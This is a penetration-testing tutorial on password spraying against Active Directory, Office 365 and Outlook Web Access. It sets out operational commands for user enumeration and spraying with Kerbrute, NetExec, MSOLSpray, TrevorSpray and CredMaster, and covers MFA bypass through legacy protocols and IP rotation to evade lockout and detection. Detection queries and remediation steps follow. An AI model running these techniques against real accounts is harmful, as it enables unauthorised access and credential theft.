
Password Spraying Against Active Directory and Cloud Services
Password spraying techniques for Active Directory, Office 365, and OWA with lockout-aware timing and Kerberos enumeration to avoid detection.
Introduction
Password spraying inverts the logic of credential brute force. Instead of exhausting a password list against a single account — which trips lockout after a handful of attempts — it tests one password against every account in scope, then waits for the observation window to reset before trying the next. The math is straightforward: if the domain lockout threshold is five bad attempts per 30 minutes and you have 500 accounts, you can test one credential per account every 31 minutes indefinitely without locking anyone out. The technique works because organizational password policies cluster user choices: mandatory complexity rules, seasonal rotations, and shared password bases mean that Password1, Summer2026, or <Company>2026 will match somewhere in a large enough user population.
The attack surface spans three distinct authentication planes. On-premises Active Directory exposes LDAP, SMB, and the Kerberos AS-REQ exchange — each with different lockout behaviors. Cloud services like Office 365 authenticate against login.microsoftonline.com with Azure AD Smart Lockout, which is counter-intuitive: it uses IP-based per-account lockout rather than a simple bad-password counter, making distributed sprays from multiple source IPs more effective. Legacy authentication protocols (BasicAuth over IMAP, Exchange ActiveSync, SMTP AUTH) bypass MFA entirely and authenticate directly against password hashes, making them high-value targets even in well-configured tenants.
Timing is the primary operational variable. Spray too fast and you trigger velocity-based alerting in SIEM rules or Azure AD Identity Protection. Spray during business hours and you blend with normal authentication noise. Spray on Monday morning when users return from the weekend and password reset rates spike — more accounts will be on predictable newly-set passwords.
Authorization Required
All techniques in this article require explicit written authorization from the asset owner. Password spraying against systems you do not own or have permission to test is illegal under the Computer Fraud and Abuse Act and equivalent legislation internationally. Always operate within the scope of a signed statement of work and rules of engagement.
Impact
- Initial access via valid credentials: Compromised accounts provide legitimate authenticated access that bypasses perimeter controls and evades network-based detection
- MFA bypass through legacy protocols: O365 tenants with IMAP/ActiveSync/SMTP AUTH enabled allow password-only authentication regardless of Conditional Access policy
- Credential reuse across services: A single sprayed password often works against VPN, Citrix, OWA, and O365 if the user has no per-service password requirement
- Pivot to higher-privilege accounts: Compromised low-privilege accounts enable AS-REP roasting, Kerberoasting, and ACL enumeration leading to domain escalation
- Persistence through cloud access: O365 tokens issued after successful authentication survive password changes if refresh token revocation is not enforced
- Low lockout risk: One attempt per lockout window per account leaves no lockout artifacts if thresholds are respected — defenders may not see any 4740 events at all
Technical Details
The lockout threshold is the primary constraint. Before spraying, you need the lockoutThreshold and lockoutObservationWindow from the Default Domain Policy. An LDAP query with any domain user account returns these values:
ldapsearch -x -H ldap://192.168.1.10 -D "jsmith@corp.local" -w 'Password1' \
-b "DC=corp,DC=local" -s base \
"(objectClass=domainDNS)" lockoutThreshold lockoutObservationWindow lockoutDuration
# lockoutThreshold: 5
# lockoutObservationWindow: 1800 (30 minutes in 100ns intervals: 18000000000)
# lockoutDuration: 1800The lockoutObservationWindow value is stored in 100-nanosecond intervals. Divide by 10,000,000 to get seconds. Add a buffer — spray at threshold - 1 attempts per window, not at the threshold itself.
Fine-Grained Password Policies (PSO) assigned to specific groups or users override the Default Domain Policy. A domain user account in the ServiceAccounts group may have a threshold of 3 while standard users have 10. Enumerate PSOs before spraying to avoid locking out high-value accounts:
# With PowerView
Get-DomainFineGrainedPolicy
Get-DomainFineGrainedPolicyObject -Identity "ServiceAccountPSO"
# With ldapsearch
ldapsearch -x -H ldap://192.168.1.10 -D "jsmith@corp.local" -w 'Password1' \
-b "CN=Password Settings Container,CN=System,DC=corp,DC=local" \
"(objectClass=msDS-PasswordSettings)" msDS-LockoutThreshold msDS-LockoutObservationWindow msDS-PSOAppliesToKerberos AS-REQ Pre-authentication Enumeration
The Kerberos AS-REQ exchange leaks valid account existence through error codes before any lockout counter increments (in most configurations). When pre-authentication is enabled (the default), the KDC returns KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN (error 6) for non-existent users and KRB5KDC_ERR_PREAUTH_REQUIRED (error 25) for valid users who haven't supplied credentials. Kerbrute exploits this to enumerate valid accounts without touching the bad password counter.
The caveat: some configurations count AS-REQ failures toward lockout. Verify on a test account before enumerating production.
Enumerate Valid Accounts with Kerbrute
Kerbrute sends AS-REQ packets without pre-authentication data and reads the KDC error code. No bad password count is incremented on most default configurations.
kerbrute userenum \
--dc 192.168.1.10 \
-d corp.local \
--threads 10 \
/opt/wordlists/statistically-likely-usernames.txt \
-o valid_users.txt
# Output:
# 2026/11/10 09:14:22 > [+] VALID USERNAME: jsmith@corp.local
# 2026/11/10 09:14:22 > [+] VALID USERNAME: administrator@corp.local
# 2026/11/10 09:14:23 > [-] INVALID USERNAME: jsmiht@corp.local
# 2026/11/10 09:14:24 > [+] VALID USERNAME: svc_backup@corp.localGenerate a username list from common formats once you know the naming convention (from email headers, LinkedIn, OWA autocomplete):
# namemash.py from https://github.com/urbanadventurer/username-anarchy
python3 namemash.py names.txt > generated_users.txt
# Or build manually from OSINT output
awk '{print tolower($1"."$2)}' names.txt >> users_dot.txt
awk '{print tolower(substr($1,1,1)$2)}' names.txt >> users_initial.txtSpray via Kerberos Pre-authentication
Kerbrute password spray sends AS-REQ with encrypted timestamp using the candidate password. A successful pre-auth returns a TGT. Failed pre-auth returns KRB5KDC_ERR_PREAUTH_FAILED (error 24). This error code does increment the bad password counter — treat Kerbrute spray like any other spray, respect the lockout threshold.
kerbrute passwordspray \
--dc 192.168.1.10 \
-d corp.local \
--threads 5 \
valid_users.txt \
'Summer2026!' \
-o spray_results.txt
# Output:
# 2026/11/10 09:30:01 > [+] VALID LOGIN: jdoe@corp.local:Summer2026!
# 2026/11/10 09:30:01 > [+] VALID LOGIN: mwilliams@corp.local:Summer2026!The advantage over LDAP: Kerberos spray works without LDAP port access and operates at layer 88 TCP/UDP, which may not be monitored as closely as LDAP 389/636 in some environments.
LDAP Bind Spray with Spray
Spray performs LDAP simple binds against the domain controller. Each bind attempt is a complete authentication; lockout counts apply normally.
Spray -Users valid_users.txt \
-Passwords passwords.txt \
-Domain corp.local \
-dc 192.168.1.10 \
-Delay 0 \
-Out spray_ldap_results.txt
# For single-password spray across all users
Spray -Users valid_users.txt \
-Password 'Summer2026!' \
-Domain corp.local \
-dc 192.168.1.10Set -Delay to match your observation window calculation. If lockout resets every 30 minutes and you have 300 users, you can afford 5-9 users per minute safely (1 attempt per user per window).
SMB Spray with NetExec
NetExec SMB spray is useful when LDAP and Kerberos ports are blocked but SMB (445) is accessible. The --no-bruteforce flag pairs each user with the single password rather than cross-multiplying all users × all passwords. --continue-on-success prevents the tool from stopping after the first hit.
netexec smb 192.168.1.10 \
-u valid_users.txt \
-p 'Summer2026!' \
--no-bruteforce \
--continue-on-success
# Output:
# SMB 192.168.1.10 445 DC01 [+] corp.local\jdoe:Summer2026! (Pwn3d!)
# SMB 192.168.1.10 445 DC01 [+] corp.local\mwilliams:Summer2026!
# Spray multiple passwords (one per run, spaced by observation window):
for pass in 'Summer2026!' 'Password1' 'Corp2026!'; do
netexec smb 192.168.1.10 -u valid_users.txt -p "$pass" --no-bruteforce --continue-on-success
sleep 1800 # 30 minutes between rounds
doneThe (Pwn3d!) annotation indicates the account has local admin on the target — SMB admin shares are accessible.
Attack Tools
MSOLSpray targets login.microsoftonline.com directly. The endpoint returns verbose error codes distinguishing valid accounts, valid credentials, MFA-required accounts, and disabled accounts — making it useful for reconnaissance beyond just credential validation.
Import-Module MSOLSpray.ps1
# Single password spray
Invoke-MSOLSpray -UserList .\users.txt -Password "Summer2026!" -OutFile spray_results.csv
# Output indicators:
# [SUCCESS] Valid credentials: jdoe@corp.com:Summer2026!
# [VALID_ACCOUNT_MFA] Account valid, MFA blocking: mwilliams@corp.com
# [AADSTS50126] Invalid credentials (account exists, password wrong)
# [AADSTS50053] Account locked out
# [AADSTS50057] Account disabledThe AADSTS50076 response code means the account is valid and credentials are correct, but MFA is required — this confirms a valid credential even without shell access. Check if the account has legacy auth protocols enabled by testing IMAP or ActiveSync:
# If IMAP is enabled for the mailbox, MFA is not enforced
curl -k --user "jdoe@corp.com:Summer2026!" \
imaps://outlook.office365.com:993
# Test ActiveSync endpoint (bypasses MFA in many tenants)
curl -k -u "jdoe@corp.com:Summer2026!" \
"https://outlook.office365.com/Microsoft-Server-ActiveSync" \
-d "" -v 2>&1 | grep "HTTP/"
# HTTP/1.1 200 OK → credentials valid, legacy auth enabled, MFA bypassed
# HTTP/1.1 401 → credentials invalid or basic auth disabledAzure AD Smart Lockout counts bad attempts per account per source IP. Distributing sprays across multiple IPs (cloud VM egress, residential proxies) resets the per-source counter while still incrementing the global counter. The global threshold is higher and less documented — spread attempts across IPs to stay under both.
TrevorSpray handles OWA (Outlook Web Access) and other Exchange endpoints. It supports proxy rotation to distribute source IPs and avoid velocity-based blocking.
# Install
pip3 install trevorspray
# Basic OWA spray
trevorspray \
-u users.txt \
-p 'Summer2026!' \
-t https://mail.corp.com/owa \
--delay 60 \
--jitter 15
# With SSH proxy rotation (spread across multiple source IPs)
trevorspray \
-u users.txt \
-p 'Summer2026!' \
-t https://mail.corp.com/owa \
--ssh user@proxy1.example.com user@proxy2.example.com \
--delay 30
# Output:
# [14:22:01] [+] jdoe@corp.com:Summer2026! -> SUCCESS (200 OK)
# [14:22:03] [-] mwilliams@corp.com:Summer2026! -> FAIL (401)
# [14:22:05] [!] baduser@corp.com -> USER NOT FOUND (404)--delay sets seconds between attempts per user; --jitter adds randomness to avoid pattern-based detection. Use --delay 1800 divided by user count to stay within one attempt per lockout window.
CredMaster routes sprays through AWS Lambda functions, providing rotating egress IPs automatically. Effective against Azure AD Smart Lockout which uses per-source-IP tracking.
git clone https://github.com/knavesec/CredMaster
cd CredMaster
pip3 install -r requirements.txt
# Deploy Lambda functions (requires AWS credentials)
python3 credmaster.py \
--plugin msol \
-u users.txt \
-p passwords.txt \
--passwordsperdelay 1 \
--delay 1800 \
--jitter 10 \
-t 10 # 10 concurrent Lambda functions = 10 different IPs
# Each Lambda invocation uses a different AWS IP
# Smart Lockout sees 10 distinct source IPs, each with 1 attemptThis approach is particularly effective against federated O365 tenants where authentication passes through Azure AD — the IP rotation prevents Smart Lockout IP-based tracking from building a coherent picture of the spray campaign.
GoMapEnum is a Go-based multi-protocol enumeration and spraying tool supporting LDAP, SMB, Kerberos, and OWA from a single binary.
# LDAP spray
GoMapEnum spray ldap \
-u users.txt \
-p 'Summer2026!' \
-d corp.local \
--dc 192.168.1.10 \
--delay 1800 \
-o results.txt
# Kerberos spray
GoMapEnum spray kerberos \
-u users.txt \
-p 'Summer2026!' \
-d corp.local \
--dc 192.168.1.10
# SMB spray
GoMapEnum spray smb \
-u users.txt \
-p 'Summer2026!' \
--target 192.168.1.10Password Candidate Selection
Password candidates should be optimized for realistic success, not wordlist completeness. High-yield patterns in order of typical success rate:
| Pattern | Example | Notes |
|---|---|---|
Season + Year + ! | Summer2026! | Matches rotation cycles; most effective in Q2/Q3 |
Month + Year | November2026 | Users who rotate monthly |
Company + Year + ! | Acme2026! | OSINT the company name; often meets complexity rules |
Welcome + digit + ! | Welcome1! | New hire default in many orgs |
Password + digit + ! | Password1! | Still depressingly common |
Company + !` | Acme1234! | Static passwords without annual change |
Current date context: when spraying in November 2026, try Fall2026!, November2026, Autumn2026!, and Summer2026! (users who haven't rotated since summer).
Detection
Password spraying is detectable through volume analysis of authentication failures. The key is that spraying produces a wide fanout — many distinct accounts failing authentication from a single source — rather than the deep spike of a targeted lockout attack.
Windows Event Log Sources
| Event ID | Channel | Trigger | Relevance |
|---|---|---|---|
| 4625 | Security | Failed logon | Every failed LDAP/SMB auth attempt |
| 4771 | Security | Kerberos pre-auth failure | Kerberos spray attempts |
| 4776 | Security | NTLM credential validation | NTLM-based spray |
| 4740 | Security | Account locked out | Threshold exceeded (spray miscalculated) |
| 4648 | Security | Explicit credential logon | Credential testing with RunAs/PtH |
Detection Logic (Splunk/KQL)
index=windows EventCode=4625 Logon_Type=3
| bucket _time span=10m
| stats dc(Account_Name) as unique_accounts count as total_failures by src_ip _time
| where unique_accounts > 10 AND total_failures > 15
| sort -unique_accountsSigninLogs
| where TimeGenerated > ago(1h)
| where ResultType != "0" // Failed logins
| summarize
FailedAccounts = dcount(UserPrincipalName),
TotalAttempts = count(),
Passwords = make_set(tostring(parse_json(AuthenticationDetails)[0].authenticationMethod))
by IPAddress, bin(TimeGenerated, 10m)
| where FailedAccounts > 10
| order by FailedAccounts descAADUserRiskEvents
| where RiskEventType == "unfamiliarFeatures" or RiskEventType == "passwordSpray"
| project TimeGenerated, UserPrincipalName, IPAddress, RiskLevel, RiskState
| order by TimeGenerated descBehavioral Indicators
- Multiple accounts failing authentication from single source IP within a short window, with only one failure per account (the spray signature)
- 4771 errors with
Status: 0x18(wrong password) across many accounts from same source - Authentication attempts occurring at regular intervals (automated tooling cadence)
- Logon failures against accounts with no recent successful logon history (inactive accounts in spray list)
- O365:
AADSTS50126errors distributed across many UPNs from a single IP within minutes
Remediation
Active Directory
- Set lockout threshold to 5–10 attempts with a 30-minute observation window — leaves no spray window large enough to be operationally useful at typical user list sizes
- Deploy Fine-Grained Password Policies for service accounts and privileged users with lower thresholds (3 attempts)
- Enable
auditpol /set /subcategory:"Logon" /failure:enableon domain controllers to ensure 4625/4771 events are generated - Implement Microsoft's Entra ID Password Protection on-premises to block known weak passwords and custom banned lists
- Enforce Microsoft LAPS for local administrator accounts to prevent credential reuse across machines
Azure AD / O365
- Enable Azure AD Smart Lockout with threshold ≤ 10 and lockout duration ≥ 60 seconds
- Disable legacy authentication protocols: block BasicAuth for Exchange Online via Conditional Access policy
Client apps: Exchange ActiveSync clients, Other clients→ Block - Require MFA via Conditional Access for all users — legacy auth bypass is the primary risk amplifier
- Enable Microsoft Entra ID Identity Protection with sign-in risk policies (Medium → MFA challenge, High → Block)
- Monitor
AADNonInteractiveUserSignInLogsfor spray patterns against service principals
Network Controls
- Restrict LDAP (389/636) and Kerberos (88) access to domain controllers to internal networks only — these ports should never be reachable from external IPs
- Deploy a web application firewall or reverse proxy with rate limiting in front of OWA and ADFS endpoints
- Block authentication attempts from Tor exit nodes and known datacenter IP ranges at the perimeter
Organizational
- Implement a banned password list in Azure AD Password Protection or on-premises equivalent — block
Season+Year,Company+Year, andWelcome*patterns - Reduce password spray surface via passwordless authentication (FIDO2 security keys, Windows Hello for Business) for privileged accounts first
References
MITRE ATT&CK Techniques
- T1110.003 - Brute Force: Password Spraying
- T1087.002 - Account Discovery: Domain Account
- T1078 - Valid Accounts
Tools Documentation
- Kerbrute — Kerberos enumeration and spray tool
- Spray — LDAP-based AD password sprayer
- NetExec — Multi-protocol network exploitation
- MSOLSpray — Office 365 password spray
- TrevorSpray — OWA and O365 sprayer with proxy support
- CredMaster — Lambda-based spray with IP rotation
- GoMapEnum — Multi-protocol enumeration and spray
- Statistically Likely Usernames — Username wordlist for enumeration
Next Steps
- AS-REP Roasting — exploit accounts with pre-auth disabled after enumerating valid usernames
- Kerberoasting Attack and Defense — escalate from low-privilege sprayed account via service ticket cracking
- Pass-the-Hash Attacks — lateral movement once initial credentials are obtained
- NTLM Relay Attacks — credential capture and relay as an alternative to spraying for initial access
Pass-the-Ticket: Kerberos Ticket Hijacking
Pass-the-Ticket attack technique for lateral movement by exporting and importing Kerberos tickets from memory.
Silver Ticket Attack and Defense
Silver Ticket attack techniques for forging Kerberos service tickets, maintaining persistent access, and evading detection in Active Directory domains.